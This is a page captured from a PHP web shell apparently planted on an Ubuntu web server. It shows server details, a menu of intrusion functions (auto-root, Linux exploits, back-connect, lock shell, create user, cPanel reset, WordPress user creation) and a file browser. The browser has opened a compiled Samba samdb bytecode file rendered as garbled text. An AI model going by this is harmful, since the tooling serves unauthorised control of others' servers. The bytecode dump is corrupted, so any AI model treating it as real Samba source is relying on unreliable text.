Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
samba /
__pycache__ /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.cpython-310.pyc
10.15
KB
-rw-r--r--
auth_util.cpython-310.pyc
514
B
-rw-r--r--
colour.cpython-310.pyc
1.48
KB
-rw-r--r--
common.cpython-310.pyc
1.69
KB
-rw-r--r--
dbchecker.cpython-310.pyc
70.14
KB
-rw-r--r--
descriptor.cpython-310.pyc
20.59
KB
-rw-r--r--
dnsresolver.cpython-310.pyc
1.99
KB
-rw-r--r--
dnsserver.cpython-310.pyc
9.95
KB
-rw-r--r--
domain_update.cpython-310.pyc
10.32
KB
-rw-r--r--
drs_utils.cpython-310.pyc
12.01
KB
-rw-r--r--
forest_update.cpython-310.pyc
14.32
KB
-rw-r--r--
getopt.cpython-310.pyc
12.52
KB
-rw-r--r--
gp_ext_loader.cpython-310.pyc
1.43
KB
-rw-r--r--
gp_gnome_settings_ext.cpython-...
14.34
KB
-rw-r--r--
gp_msgs_ext.cpython-310.pyc
1.96
KB
-rw-r--r--
gp_scripts_ext.cpython-310.pyc
2.58
KB
-rw-r--r--
gp_sec_ext.cpython-310.pyc
6.69
KB
-rw-r--r--
gp_smb_conf_ext.cpython-310.py...
2.61
KB
-rw-r--r--
gp_sudoers_ext.cpython-310.pyc
3.03
KB
-rw-r--r--
gpclass.cpython-310.pyc
20.25
KB
-rw-r--r--
graph.cpython-310.pyc
17.79
KB
-rw-r--r--
hostconfig.cpython-310.pyc
2.67
KB
-rw-r--r--
idmap.cpython-310.pyc
2.56
KB
-rw-r--r--
join.cpython-310.pyc
42.24
KB
-rw-r--r--
logger.cpython-310.pyc
1.5
KB
-rw-r--r--
mdb_util.cpython-310.pyc
806
B
-rw-r--r--
ms_display_specifiers.cpython-...
2.81
KB
-rw-r--r--
ms_forest_updates_markdown.cpy...
7.4
KB
-rw-r--r--
ms_schema.cpython-310.pyc
6.62
KB
-rw-r--r--
ms_schema_markdown.cpython-310...
1.56
KB
-rw-r--r--
ndr.cpython-310.pyc
3.83
KB
-rw-r--r--
ntacls.cpython-310.pyc
15.12
KB
-rw-r--r--
remove_dc.cpython-310.pyc
10.13
KB
-rw-r--r--
samdb.cpython-310.pyc
42.52
KB
-rw-r--r--
schema.cpython-310.pyc
7.24
KB
-rw-r--r--
sd_utils.cpython-310.pyc
5.24
KB
-rw-r--r--
sites.cpython-310.pyc
3.46
KB
-rw-r--r--
subnets.cpython-310.pyc
5.68
KB
-rw-r--r--
tdb_util.cpython-310.pyc
750
B
-rw-r--r--
trust_utils.cpython-310.pyc
1.32
KB
-rw-r--r--
upgrade.cpython-310.pyc
21.33
KB
-rw-r--r--
upgradehelpers.cpython-310.pyc
22.05
KB
-rw-r--r--
uptodateness.cpython-310.pyc
4.62
KB
-rw-r--r--
vgp_access_ext.cpython-310.pyc
3.74
KB
-rw-r--r--
vgp_files_ext.cpython-310.pyc
3.6
KB
-rw-r--r--
vgp_issue_ext.cpython-310.pyc
1.83
KB
-rw-r--r--
vgp_motd_ext.cpython-310.pyc
1.83
KB
-rw-r--r--
vgp_openssh_ext.cpython-310.py...
2.71
KB
-rw-r--r--
vgp_startup_scripts_ext.cpytho...
3.17
KB
-rw-r--r--
vgp_sudoers_ext.cpython-310.py...
3.44
KB
-rw-r--r--
vgp_symlink_ext.cpython-310.py...
2.05
KB
-rw-r--r--
xattr.cpython-310.pyc
1.26
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : samdb.cpython-310.pyc
o �/a�� � @ s� d Z ddlZddlZddlZddlZddlZddlZddlmZmZ ddl m Z m Z ddl m Z mZ ddlmZ ddlmZmZ ddl mZ dd lmZ ddlZd Zd d � ZG d d� de�ZG dd� de�ZG dd� dej�Z G dd� de �Z dS )z(Convenience functions for using the SAM.� N)�dsdb�dsdb_dns)� ndr_unpack�ndr_pack)�drsblobs�misc)�normalise_int32)� get_bytes�cmp)�security)�is_ad_dc_built�restructuredTextc C s dS )N�tdb� r r r �-/usr/lib/python3/dist-packages/samba/samdb.py�get_default_backend_store+ s r c @ � e Zd ZdS )� SamDBErrorN��__name__� __module__� __qualname__r r r r r . � r c @ r )�SamDBNotFoundErrorNr r r r r r 1 r r c sj e Zd ZdZi Zi Zdddddejddddf � fdd� Zd�� fdd� Z d d � Z d d � Z d d� Z dd� Z dd� Zdd� Z d�dd�Zdd� Zdd� Z d�d d �Zd d � Zd d!� Zdg d"�dfd#d$�Zd%d&� Zdddi d'fd(d)�Z d�d*d+�Z d�d,d-�Z d�d.d/�Zd0d1� Z d�d2d3�Z d�d4d5�Z d6d7� Z d8d9� Z e!e e d:d;�Z"d<d=� Z#d>d?� Z$e!e$e#d@d;�Z%dAdB� Z& d�dCdD�Z'dEdF� Z(dGdH� Z)dIdJ� Z*dKdL� Z+dMdN� Z,dOdP� Z-dQdR� Z.dSdT� Z/dUdV� Z0dWdX� Z1dYdZ� Z2d[d\� Z3d]d^� Z4d_d`� Z5dadb� Z6dcdd� Z7d�dedf�Z8d�dgdh�Z9didj� Z:dkdl� Z;dmdn� Z<dodp� Z=dqdr� Z>dsdt� Z? d�dudv�Z@dwdx� ZAdydz� ZBd{d|� ZCd}d~� ZDdd�� ZEd�d�� ZFd�d�� ZGd�d�� ZHd�d�� ZId�d�� ZJd�d�� ZKd�d�� ZLd�d�� ZMd�d�� ZNd�d�d��ZO� fd�d��ZPd�d�� ZQd�d�� ZRd�d�d��ZSd�d�� ZTd�d�� ZUd�d�� ZV d�d�d��ZWd�d�� ZXd�d�� ZYd�d�� ZZd�d�� Z[d�d�� Z\� Z]S )��SamDBzThe SAM database.NTc sv || _ | sd }n |d u r|d ur|�� }|| _tt| �j|||||||d� |r-t�| � | d ur9t�| | � d S d S )N)�url�lp� modules_dir� session_info� credentials�flags�options) r � samdb_urlr �superr �__init__r �_dsdb_set_global_schema�_dsdb_set_am_rodc) �selfr r r r r r r! � global_schema� auto_connect�am_rodc�� __class__r r r$ : s � �zSamDB.__init__r c sB | j durtj�|�s| j �|�}|| _tt| �j|||d� dS )zconnect to the databaseN)r r r! ) r �os�path�exists� private_pathr r# r �connect)r' r r r! r+ r r r1 P s �z SamDB.connectc C � t �| �S )z return True if we are an RODC)r �_am_rodc�r' r r r r* Y � z SamDB.am_rodcc C r2 )z%return True if we are an PDC emulator)r �_am_pdcr4 r r r �am_pdc] r5 z SamDB.am_pdcc C � t | �� �S )zreturn the domain DN)�str�get_default_basednr4 r r r � domain_dna � zSamDB.domain_dnc C r8 )z return the schema partition dn)r9 �get_schema_basednr4 r r r � schema_dne r< zSamDB.schema_dnc C s t jj}| j||dd� dS )z|Disables an account :param search_filter: LDAP filter to find the user (eg samccountname=name) T��onN)�sambar �UF_ACCOUNTDISABLE�toggle_userAccountFlags�r' � search_filterr r r r �disable_accounti s zSamDB.disable_accountc C s$ t jjt jjB }| j||dd� dS )z{Enables an account :param search_filter: LDAP filter to find the user (eg samccountname=name) Fr? N)rA r rB �UF_PASSWD_NOTREQDrC rD r r r �enable_accounts s zSamDB.enable_accountFc C s� | j | �� tj|dgd�}t|�dkrtd| ��t|�dks!J �|d j}t|d d d �}|rE|r@||@ r@d| } t| ��||B } n|rS||@ sSd| } t| ��|| @ } || kr^dS d ||| f } | �| � dS ) an Toggle_userAccountFlags :param search_filter: LDAP filter to find the user (eg samccountname=name) :param flags: samba.dsdb.UF_* flags :param on: on=True (default) => set, on=False => unset :param strict: strict=False (default) ignore if no action is needed strict=True raises an Exception if... �userAccountControl��base�scope� expression�attrsr z!Unable to find account where '%s'� z Account flag(s) '%s' already setz"Account flag(s) '%s' already unsetNz| dn: %s changetype: modify delete: userAccountControl userAccountControl: %u add: userAccountControl userAccountControl: %u ) �searchr; �ldb� SCOPE_SUBTREE�len� Exception�dn�int� modify_ldif) r' rE r � flags_strr@ �strict�res� account_dn�old_uac�error�new_uac�modr r r rC } s. � �z SamDB.toggle_userAccountFlagsc C s` | j | �� tj|g d�}t|�dkrtd| ��t|�dks J �|d j}d| }| �|� dS )z�Forces a password change at next login :param search_filter: LDAP filter to find the user (eg samccountname=name) rJ r �Unable to find user "%s"rO z= dn: %s changetype: modify replace: pwdLastSet pwdLastSet: 0 N)rP r; rQ rR rS rT rU rW �r' rE rZ �user_dnr_ r r r �#force_password_change_at_next_login� s � �z)SamDB.force_password_change_at_next_loginc C sh | j | �� tj|g d�}t|�dkrtd| ��t|�dkr$td| ��|d j}d| }| �|� dS )z�Unlock a user account by resetting lockoutTime to 0. This does also reset the badPwdCount to 0. :param search_filter: LDAP filter to find the user (e.g. sAMAccountName=username) rJ r r` rO zUser "%s" is not uniquez? dn: %s changetype: modify replace: lockoutTime lockoutTime: 0 N) rP r; rQ rR rS r r rU rW ra r r r �unlock_account� s � �zSamDB.unlock_accountc C s� |r d||| � � f } n d|| �| �� tj�f } | |dd�} |dur)t|�| d< |dur1|| d< |dur9|| d< |durA|| d < |durKt|�| d < | durW|| d < | | d < |durat|�| d < | �| � dS )a� Adds a new group with additional parameters :param groupname: Name of the new group :param grouptype: Type of the new group :param description: Description of the new group :param mailaddress: Email address of the new group :param notes: Notes of the new group :param gidnumber: GID Number of the new group :param nisdomain: NIS Domain Name of the new group :param sd: security descriptor of the object � CN=%s,%s,%s�CN=%s,%s�group�rU �sAMAccountName� objectClassN� groupType� description�mail�info� gidNumber� msSFU30Name�msSFU30NisDomain�nTSecurityDescriptor)r; �get_wellknown_dnr: r �DS_GUID_USERS_CONTAINERr r �add) r' � groupname�groupou� grouptyperl � mailaddress�notes�sd� gidnumber� nisdomain�group_dn� ldbmessager r r �newgroup� s4 �� zSamDB.newgroupc C � dt �|�d| �� f }| �� z*| j| �� t j|g d�}t|�dkr)td| ��t|�dks1J �| �|d j � W n | � � � | � � dS )zLDeletes a group :param groupname: Name of the target group �,(&(sAMAccountName=%s)(objectCategory=%s,%s))�#CN=Group,CN=Schema,CN=ConfigurationrJ r �Unable to find group "%s"rO N� rQ � binary_encoder; �transaction_startrP rR rS rT �deleterU �transaction_cancel�transaction_commit)r' rv � groupfilter� targetgroupr r r � deletegroup � � zSamDB.deletegroupc C s d}g d�}d|v r |}|D ]}||vr t d|d�|�f ��qd|v r0|dt�|�tjf 7 }d|v r=|d t�|� 7 }d |v rY|}|d d krMd | }|dtjt�|�f 7 }d|v ru|}|d d krid | }|dtjt�|�f 7 }d|v r�|dt�|� 7 }d| }|S )N� )�userrg �computer�serviceaccount�contact�allz;Invalid group member type "%s". Valid types are %s and all.z, r� z)(&(sAMAccountName=%s)(samAccountType=%d))rg zQ(&(sAMAccountName=%s)(objectClass=group)(!(groupType:1.2.840.113556.1.4.803:=1)))r� ����$�%s$zW(&(samAccountType=%d)(!(objectCategory=msDS-ManagedServiceAccount))(sAMAccountName=%s))r� zT(&(samAccountType=%d)(objectCategory=msDS-ManagedServiceAccount)(sAMAccountName=%s))r� z3(&(objectCategory=Person)(!(objectSid=*))(name=%s))z(|%s))rT �joinrQ r� r �ATYPE_NORMAL_ACCOUNT�ATYPE_WORKSTATION_TRUST)r' �member� member_types�filter�all_member_types� member_type�samaccountnamer r r �group_member_filter! sT ���� �� ���zSamDB.group_member_filter)r� rg r� c C s� dt �|�d| �� f }| �� �z0| j| �� t j|dgd�}t|�dkr+td| ��t|�dks3J �d}d t|d j � } |D ]�} d } |d u rL| �� }z t � | �} d t| � } W n t yk } zW Y d } ~ nd } ~ ww | d u r�z t � | | �}|�� |�d�kr�| �|�}n|}|�d�} W n ty� } zW Y d } ~ nd } ~ ww | d u r�| �| |�}| j|t j|g d�}t|�dkr�d }|D ] }|d |�d� 7 }q�td| |f ��t|�dkr�td| ��|d j �d�} |du �r|d �d�d u �st| �dd� |d d D �v�rd}| dt| � 7 } q@|du �r5|d �d�d u�r5t| �|d d v �r5d}| dt| � 7 } q@|du �r@| �| � W n | �� � | �� d S )z�Adds or removes group members :param groupname: Name of the target group :param members: list of group members :param add_members_operation: Defines if its an add or remove operation r� r� r� rJ r r� rO Fz dn: %s changetype: modify Nz<SID=%s>r� z%s rU z#Found multiple results for "%s": %sz)Unable to find "%s". Operation cancelled.Tc S s g | ]}t |��qS r )r9 )�.0�xr r r � <listcomp>� s z2SamDB.add_remove_group_members.<locals>.<listcomp>zadd: member member: %s zdelete: member member: %s )rQ r� r; r� rP rR rS rT r9 rU r �dom_sid� TypeError�Dn�get_linearized� extended_str�normalize_dn_in_domain� ValueErrorr� �getr rW r� r� )r' rv �members�add_members_operationr� �member_base_dnr� r� �modified�addtargettogroupr� �targetmember_dn� membersid�e� member_dn�full_member_dnr� � targetmember�targetmemberlist_str�msgr r r �add_remove_group_membersV s� �� � �� �� � � >�4�� � z SamDB.add_remove_group_membersc C s| |du rdS ||v rt |�t || �krdS t|�dkr/||v r-t�g tj|�}|�|� dS t�|tj|�}|�|� dS )aA Changes the MessageElement with the given attr_name of the given Message. If the value is "" set an empty value and the flag FLAG_MOD_DELETE, otherwise set the new value and FLAG_MOD_REPLACE. If the value is None or the Message contains the attr_name with this value, nothing will changed.Nr )r9 rS rQ �MessageElement�FLAG_MOD_DELETEru �FLAG_MOD_REPLACE)r' r� �old� attr_name�value�elr r r �prepare_attr_replace� s zSamDB.prepare_attr_replacer� c C s� |||d�}|� � D ]\}}|dkr ||v r t|| �||< q |d r2|d �d�s2|d d7 < ttd|�� ��} d�| �} | dkrF|S | S )z�Prepares new combined fullname, using the name parts. Used for things like displayName or cn. Use the original name values, if no new one is specified.)� givenName�initials�snNr� �.� r� )�itemsr9 �endswith�listr� �valuesr� ) r' � given_namer� �surname� old_attrs�fallback_defaultrN r� � attr_value� attrs_values�fullnamer r r �fullname_from_names� s �� zSamDB.fullname_from_namesc & C s� | j |||d�} |} |du r| dkr| } |r d| || �� f }!n d| | �| �� tj�f }!t�| | �� ��� � dd�}"d||"f }#|!||#dd �}$| rVt tj tj B �|$d < d }|dur^||$d < |durf||$d < | dkrr| |$d< | |$d< |dur|d| |$d< | dur�| |$d< | dur�| |$d< | dur�| |$d< | dur�| |$d< | dur�| |$d< |dur�||$d< |dur�||$d< |dur�||$d< |dur�||$d< |dur�||$d< |dur�||$d < |dur�||$d < |dur�t |�|$d < d}%ttd d � |||||| | f���r�t�� }%t�| |!�|%_|du�rt�t |�tjd!�|%d!< |du�r&t�t |�tjd"�|%d"< |du�r7t�t |�tjd#�|%d#< |du�rHt�t |�tjd$�|%d$< |du�rYt�t |�tjd%�|%d%< | du�rjt�t | �tjd&�|%d&< | du�r�t�t | �tjd'�|%d'< t�t |�tjd(�|%d(< t�d)tjd*�|%d*< | �� z | �|$� |%�r�| �|%� |�r�| �d+t�|!� ||� W n | �� � | �� dS ),al Adds a new user with additional parameters :param username: Name of the new user :param password: Password for the new user :param force_password_change_at_next_login_req: Force password change :param useusernameascn: Use username as cn rather that firstname + initials + lastname :param userou: Object container (without domainDN postfix) for new user :param surname: Surname of the new user :param givenname: First name of the new user :param initials: Initials of the new user :param profilepath: Profile path of the new user :param scriptpath: Logon script path of the new user :param homedrive: Home drive of the new user :param homedirectory: Home directory of the new user :param jobtitle: Job title of the new user :param department: Department of the new user :param company: Company of the new user :param description: of the new user :param mailaddress: Email address of the new user :param internetaddress: Home page of the new user :param telephonenumber: Phone number of the new user :param physicaldeliveryoffice: Office location of the new user :param sd: security descriptor of the object :param setpassword: optionally disable password reset :param uidnumber: RFC2307 Unix numeric UID of the new user :param gidnumber: RFC2307 Unix primary GID of the new user :param gecos: RFC2307 Unix GECOS field of the new user :param loginshell: RFC2307 Unix login shell of the new user :param uid: RFC2307 Unix username of the new user :param nisdomain: RFC2307 Unix NIS domain of the new user :param unixhome: RFC2307 Unix home directory of the new user :param smartcard_required: set the UF_SMARTCARD_REQUIRED bit of the new user �r� r� r� Nr� re rf �/z%s@%sr� )rU ri �userPrincipalNamerj rI Fr� r� � displayName�name�%s.r� � profilePath� scriptPath� homeDrive� homeDirectory�title� department�companyrl rm � wWWHomePage�telephoneNumber�physicalDeliveryOfficeNamerr c S s | d uS �Nr )�br r r �<lambda>d s z SamDB.newuser.<locals>.<lambda>�uid� uidNumberro �gecos� loginShell�unixHomeDirectoryrq rp zABCD!efgh12345$67890�unixUserPassword�(distinguishedName=%s))r� r; rs r: r rt rQ r� � canonical_str�replacer9 �UF_NORMAL_ACCOUNT�UF_SMARTCARD_REQUIREDr �any�map�MessagerU r� r� r� ru �modify� setpasswordr� r� r� )&r' �username�password�'force_password_change_at_next_login_req�useusernameascn�userour� � givennamer� � profilepath� scriptpath� homedrive� homedirectory�jobtitler� r� rl ry �internetaddress�telephonenumber�physicaldeliveryofficer{ r� � uidnumberr| r� � loginshellr� r} �unixhome�smartcard_required� displayname�cnrb � dnsdomain�user_principal_namer � ldbmessage2r r r �newuser� s� -�� � � � � � �� ��� z SamDB.newuserc C sB | j |||d�}|dur|}|du r|dkrtd��| �� }|r%| �|�}d||f }|dd�}|dur8||d< |dur@||d < |durH||d < |durRd | |d < |durZ||d < |durb||d< | durj| |d< | durr| |d< | durz| |d< | dur�| |d< | dur�| |d< |dur�||d< |dur�||d< | �|� |S )a� Adds a new contact with additional parameters :param fullcontactname: Optional full name of the new contact :param ou: Object container for new contact :param surname: Surname of the new contact :param givenname: First name of the new contact :param initials: Initials of the new contact :param displayname: displayName of the new contact :param jobtitle: Job title of the new contact :param department: Department of the new contact :param company: Company of the new contact :param description: Description of the new contact :param mailaddress: Email address of the new contact :param internetaddress: Home page of the new contact :param telephonenumber: Phone number of the new contact :param mobilenumber: Primary mobile number of the new contact :param physicaldeliveryoffice: Office location of the new contact r� Nr� z No name for contact specifiedrf r� �rU rj r� r� r� r� r� r� r� r� rl rm r� r� �mobiler� )r� rT r; r� ru )r' �fullcontactname�our� r� r� r r r� r� rl ry r r � mobilenumberr r �contactcontainer_dn� contact_dnr r r r � newcontact� sV $� � zSamDB.newcontactc C s t �dd|�}|�d�rtd| ��d| }| �| �� tj�} |r&| �|�} d|| f } | |dd�} |d ur:|| d < |r@|| d < t tj tj B �} |rOt tj �} | | d < |r_d � || � � �| d< | �� z| �| � |r{|�� } | �dt�| � | d� W n | �� � | �� d S )a� Adds a new user with additional parameters :param computername: Name of the new computer :param computerou: Object container for new computer :param description: Description of the new computer :param prepare_oldjoin: Preset computer password for oldjoin mechanism :param ip_address_list: ip address list for DNS A or AAAA record :param service_principal_name_list: string list of servicePincipalName z\$$r� r� zIllegal computername "%s"r� rf r� rh Nrl �servicePrincipalNamerI z{}.{}� dNSHostNamer� F)�re�sub�countrT rs r: r �DS_GUID_COMPUTERS_CONTAINERr� r9 � UF_WORKSTATION_TRUST_ACCOUNTrB �format�domain_dns_namer� ru �lowerr� rQ r� r� r� )r' � computername� computerourl �prepare_oldjoin�ip_address_list�service_principal_name_listr r� �computercontainer_dn� computer_dnr �accountcontrolr� r r r � newcomputer� sV � �� � ��� zSamDB.newcomputerc C r� )zIDeletes a user :param username: Name of the target user r� z$CN=Person,CN=Schema,CN=ConfigurationrJ r r` rO Nr� )r' r� r� �targetr r r � deleteuser3 r� zSamDB.deleteuserc C s� | � � zj| j| �� tj|g d�}t|�dkr td|p | ��t|�dkr/tdt|�|f ��|d j}t|t �s?|� d�}n|}d| d � d�}d |t � |�� d�f }| �|� |rh| �d t |� d � | �|� W n | �� � | �� d S ) z�Sets the password for a user :param search_filter: LDAP filter to find the user (eg samccountname=name) :param password: Password for the user :param force_change_at_next_login: Force password change rJ r r` rO z*Matched %u multiple users with filter "%s"�utf-8�"z utf-16-lez? dn: %s changetype: modify replace: unicodePwd unicodePwd:: %s z(distinguishedName=�)N)r� rP r; rQ rR rS rT rU � isinstancer9 �decode�encode�base64� b64encoderW rc rH r� r� ) r' rE r� �force_change_at_next_loginr� rZ rb �pw�setpwr r r r� H s6 � � � zSamDB.setpasswordc C s� | � � za| j| �� tj|ddgd�}t|�dkr td| ��t|�dks'J �|d j}t|d d d �}t|d d d �}|rI|dB }d}n|d@ }t � |tt � � � �}d |||f }| � |� W n | � � � | �� d S ) a Sets the account expiry for a user :param search_filter: LDAP filter to find the user (eg samaccountname=name) :param expiry_seconds: expiry time from now in seconds :param no_expiry_req: if set, then don't expire password rI �accountExpiresrJ r r` rO i i����zy dn: %s changetype: modify replace: userAccountControl userAccountControl: %u replace: accountExpires accountExpires: %u N)r� rP r; rQ rR rS rT rU rV rA � unix2nttime�timerW r� r� ) r' rE �expiry_seconds� no_expiry_reqrZ rb rI r7 �setexpr r r � setexpiryt s2 � � zSamDB.setexpiryc C � t �| |� dS )z`Change the domain SID used by this LDB. :param sid: The new domain sid to use. N)r �_samdb_set_domain_sid)r' �sidr r r �set_domain_sid� � zSamDB.set_domain_sidc C r2 )z&Read the domain SID used by this LDB. )r �_samdb_get_domain_sidr4 r r r �get_domain_sid� r5 zSamDB.get_domain_sidzSID for the domain)�docc C r> )zoSet the invocation id for this SamDB handle. :param invocation_id: GUID of the invocation id. N)r � _dsdb_set_ntds_invocation_id)r' � invocation_idr r r �set_invocation_id� rB zSamDB.set_invocation_idc C r2 )zGet the invocation_id id)r �_samdb_ntds_invocation_idr4 r r r �get_invocation_id� r5 zSamDB.get_invocation_idzInvocation ID GUIDc C � t �| |�S r� )r �_dsdb_get_oid_from_attid�r' �attidr r r �get_oid_from_attid� � zSamDB.get_oid_from_attidc C � t �| ||�S )zNreturn the attribute ID for a LDAP attribute as an integer as found in DRSUAPI)r �$_dsdb_get_attid_from_lDAPDisplayName)r' �ldap_display_name� is_schema_ncr r r � get_attid_from_lDAPDisplayName� s �z$SamDB.get_attid_from_lDAPDisplayNamec C rK )z6return the syntax OID for a LDAP attribute as a string)r �)_dsdb_get_syntax_oid_from_lDAPDisplayName�r' rS r r r �#get_syntax_oid_from_lDAPDisplayName� r< z)SamDB.get_syntax_oid_from_lDAPDisplayNamec C rK )z8return the systemFlags for a LDAP attribute as a integer)r �*_dsdb_get_systemFlags_from_lDAPDisplayNamerW r r r �$get_systemFlags_from_lDAPDisplayName� r< z*SamDB.get_systemFlags_from_lDAPDisplayNamec C rK )z3return the linkID for a LDAP attribute as a integer)r �%_dsdb_get_linkId_from_lDAPDisplayNamerW r r r � get_linkId_from_lDAPDisplayName� r< z%SamDB.get_linkId_from_lDAPDisplayNamec C rK )z;return the lDAPDisplayName from an integer DRS attribute ID)r �"_dsdb_get_lDAPDisplayName_by_attidrM r r r � get_lDAPDisplayName_by_attid� r< z"SamDB.get_lDAPDisplayName_by_attidc C rK )z�return the attribute name of the corresponding backlink from the name of a forward link attribute. If there is no backlink return None)r �'_dsdb_get_backlink_from_lDAPDisplayNamerW r r r �!get_backlink_from_lDAPDisplayName� s z'SamDB.get_backlink_from_lDAPDisplayNamec C r> )z�Set the NTDS Settings DN, as would be returned on the dsServiceName rootDSE attribute. This allows the DN to be set before the database fully exists :param ntds_settings_dn: The new DN to use N)r �_samdb_set_ntds_settings_dn)r' �ntds_settings_dnr r r �set_ntds_settings_dn� s zSamDB.set_ntds_settings_dnc C r2 )zGet the NTDS objectGUID)r �_samdb_ntds_objectGUIDr4 r r r � get_ntds_GUID� r5 zSamDB.get_ntds_GUIDc C �( | j dtjdgd�}t|d d d �S )z/Get the current time as generalized time stringr� � currentTime�rK rL rN r �rP rQ � SCOPE_BASEr9 �r' rZ r r r � get_timestr� s �zSamDB.get_timestrc C � t �| �� �S )z!Get the current time as UNIX time)rQ �string_to_timerl r4 r r r �get_time� � zSamDB.get_timec C rm )z Get the current time as NT time)rA r8 ro r4 r r r � get_nttime� rp zSamDB.get_nttimec C r2 )zGet the server site name)r �_samdb_server_site_namer4 r r r �server_site_name� r5 zSamDB.server_site_namec C rf )z return the DNS name of this hostr� r rh r ri rk r r r � host_dns_name� � zSamDB.host_dns_namec C � | � � }|�� �d�d S )z&return the DNS name of the domain rootr� r )r: r� �split)r' r; r r r r � � zSamDB.domain_dns_namec C sf | � � }| �� }d||f }| �� }| j|tj|d�}z |d d d �� }W |S ty2 Y dS w )z*return the NetBIOS name of the domain rootz?(&(objectClass=crossRef)(nETBIOSName=*)(ncName=%s)(dnsroot=%s)))rL rM r � nETBIOSNameN)r: r �get_partitions_dnrP rQ �SCOPE_ONELEVELr0 � IndexError)r' r; �dns_namer� � partitions_dnrZ �netbios_domainr r r �domain_netbios_name s � ��zSamDB.domain_netbios_namec C rv )z&return the DNS name of the forest rootr� r )�get_root_basednr� rw )r' � forest_dnr r r �forest_dns_name rx zSamDB.forest_dns_namec C rK r� )r �_dsdb_load_partition_usn)r' �base_dnr r r �load_partition_usn rP zSamDB.load_partition_usnc C s | j |j|d� d S )N)� write_indices_and_attributes)�set_schema_from_ldbrQ )r' �schemar� r r r � set_schema s zSamDB.set_schemac C s t �| ||� d S r� )r �_dsdb_set_schema_from_ldb)r' �ldb_connr� r r r r� s zSamDB.set_schema_from_ldbc C s d}| � |� d S )Nz@ dn: changetype: modify add: schemaUpdateNow schemaUpdateNow: 1 )rW )r' �ldifr r r �set_schema_update_now! s zSamDB.set_schema_update_nowc C � t �|||�S )zBconvert a list of attribute values to a DRSUAPI DsReplicaAttribute)r �_dsdb_DsReplicaAttribute�r' rQ rS � ldif_elementsr r r �dsdb_DsReplicaAttribute* rp z SamDB.dsdb_DsReplicaAttributec C r� )z$normalise a list of attribute values)r �_dsdb_normalise_attributesr� r r r �dsdb_normalise_attributes. rp z SamDB.dsdb_normalise_attributesc C s> t | j�� �dkr | �� | �|�| jv r | j| �|� S dS )z� Get from an attid the associated attribute :param attid: The attribute id for searched attribute :return: The name of the attribute associated with this id r N)rS � hash_oid_name�keys�_populate_oid_attidrO rM r r r �get_attribute_from_attid2 s z SamDB.get_attribute_from_attidc C s\ i | _ | jddgddgd�}t|�dkr*|D ]}t|�d��}|| j t|�d��< qdS dS )z�Populate the hash hash_oid_name. This hash contains the oid of the attribute as a key and its display name as a value zobjectClass=attributeSchema�search_options:1:2� attributeID�lDAPDisplayName)rM �controlsrN r N)r� rP rS r9 r� )r' rZ r� � strDisplayr r r r� ? s �� �zSamDB._populate_oid_attidc C s� | j d| tjdgdgd�}t|�dkrdS ttj|d d d �}|j}t| j� � �dkr2| � � |j D ] }| � |j �}|| jv rR|�� | j| �� krR|j S q5dS )a[ Get the version field trom the replPropertyMetaData for the given field :param dn: The on which we want to get the version :param att: The name of the attribute :return: The value of the version field in the replPropertyMetaData for the given attribute. None if the attribute is not replicated �distinguishedName=%sr� �replPropertyMetaData�rM rL r� rN r N)rP rQ rR rS r r �replPropertyMetaDataBlob�ctrr� r� r� �arrayrO rN r �version)r' rU �attrZ �replr� �o�att_oidr r r �"get_attribute_replmetadata_versionO s( � � �z(SamDB.get_attribute_replmetadata_versionc C s� | j d| tjdgdgd�}t|�dkrd S ttj|d d d �}|j}t� t t � � ��}d} t| j � � �dkr=| �� |jD ]4} | �| j�} | | j v rt|�� | j | �� krtd} | �tj�} || _|| _t�| �� �| _| | _| | _ q@| s�|r�t|j�dkr�t� � } d| _| �| j�} | �tj�} || _|| _t�| �� �| _| | _| | _ d} |j}|� | � |j d |_ ||_| r�t |�}t�!� }|d j"|_"t�#|tj$d�|d< | �%|d g� d S d S ) Nr� r� r� r� r FTiZ rO z#local_oid:1.3.6.1.4.1.7165.4.3.14:0)&rP rQ rR rS r r r� r� rA r8 rV r9 r� r� r� r� rO rN r �sequence_number�SEQ_NEXTr� �originating_change_timer �GUIDrJ �originating_invocation_id�originating_usn� local_usn�replPropertyMetaData1�appendr r r� rU r� r� r� )r' rU r� r� � addifnotexistrZ r� r� �now�foundr� r� �seq�o2�tab�replBlobr� r r r �"set_attribute_replmetadata_versionm sj � � � ���z(SamDB.set_attribute_replmetadata_versionc C s t �| � d S r� )r �'_dsdb_write_prefixes_from_schema_to_ldbr4 r r r �write_prefixes_from_schema� � z SamDB.write_prefixes_from_schemac C r2 r� )r �_dsdb_get_partitions_dnr4 r r r rz � s zSamDB.get_partitions_dnc C rK r� )r �_dsdb_get_nc_root)r' rU r r r � get_nc_root� rP zSamDB.get_nc_rootc C sx | j �t|��}d }|d ur|�|�}|d u r:t�| ||�}|d u r$|S |d u r6i | j t|�< | j t|� }|||< |S r� )�hash_well_knownr� r9 r �_dsdb_get_wellknown_dn)r' �nc_root�wkguid�h_ncrU r r r rs � s zSamDB.get_wellknown_dnc C �T t |t�s t|��d�}t�� }t�| | �� �|_t� |tj d�|d< | � |� d S )N�utf8� minPwdAge� r/ �bytesr9 r1 rQ r� r� r; rU r� r� r� �r' r� �mr r r � set_minPwdAge� � zSamDB.set_minPwdAgec C �L | j | �� tjdgd�}t|�dkrd S d|d vr d S t|d d d �S )Nr� �rL rN r �rP r; rQ rj rS rV rk r r r � get_minPwdAge� � zSamDB.get_minPwdAgec C r� )Nr� � maxPwdAger� r� r r r � set_maxPwdAge� r� zSamDB.set_maxPwdAgec C r� )Nr� r� r r� rk r r r � get_maxPwdAge� r� zSamDB.get_maxPwdAgec C r� )Nr� � minPwdLengthr� r� r r r �set_minPwdLength� r� zSamDB.set_minPwdLengthc C r� )Nr� r� r r� rk r r r �get_minPwdLength� r� zSamDB.get_minPwdLengthc C r� )Nr� � pwdPropertiesr� r� r r r �set_pwdProperties� r� zSamDB.set_pwdPropertiesc C r� 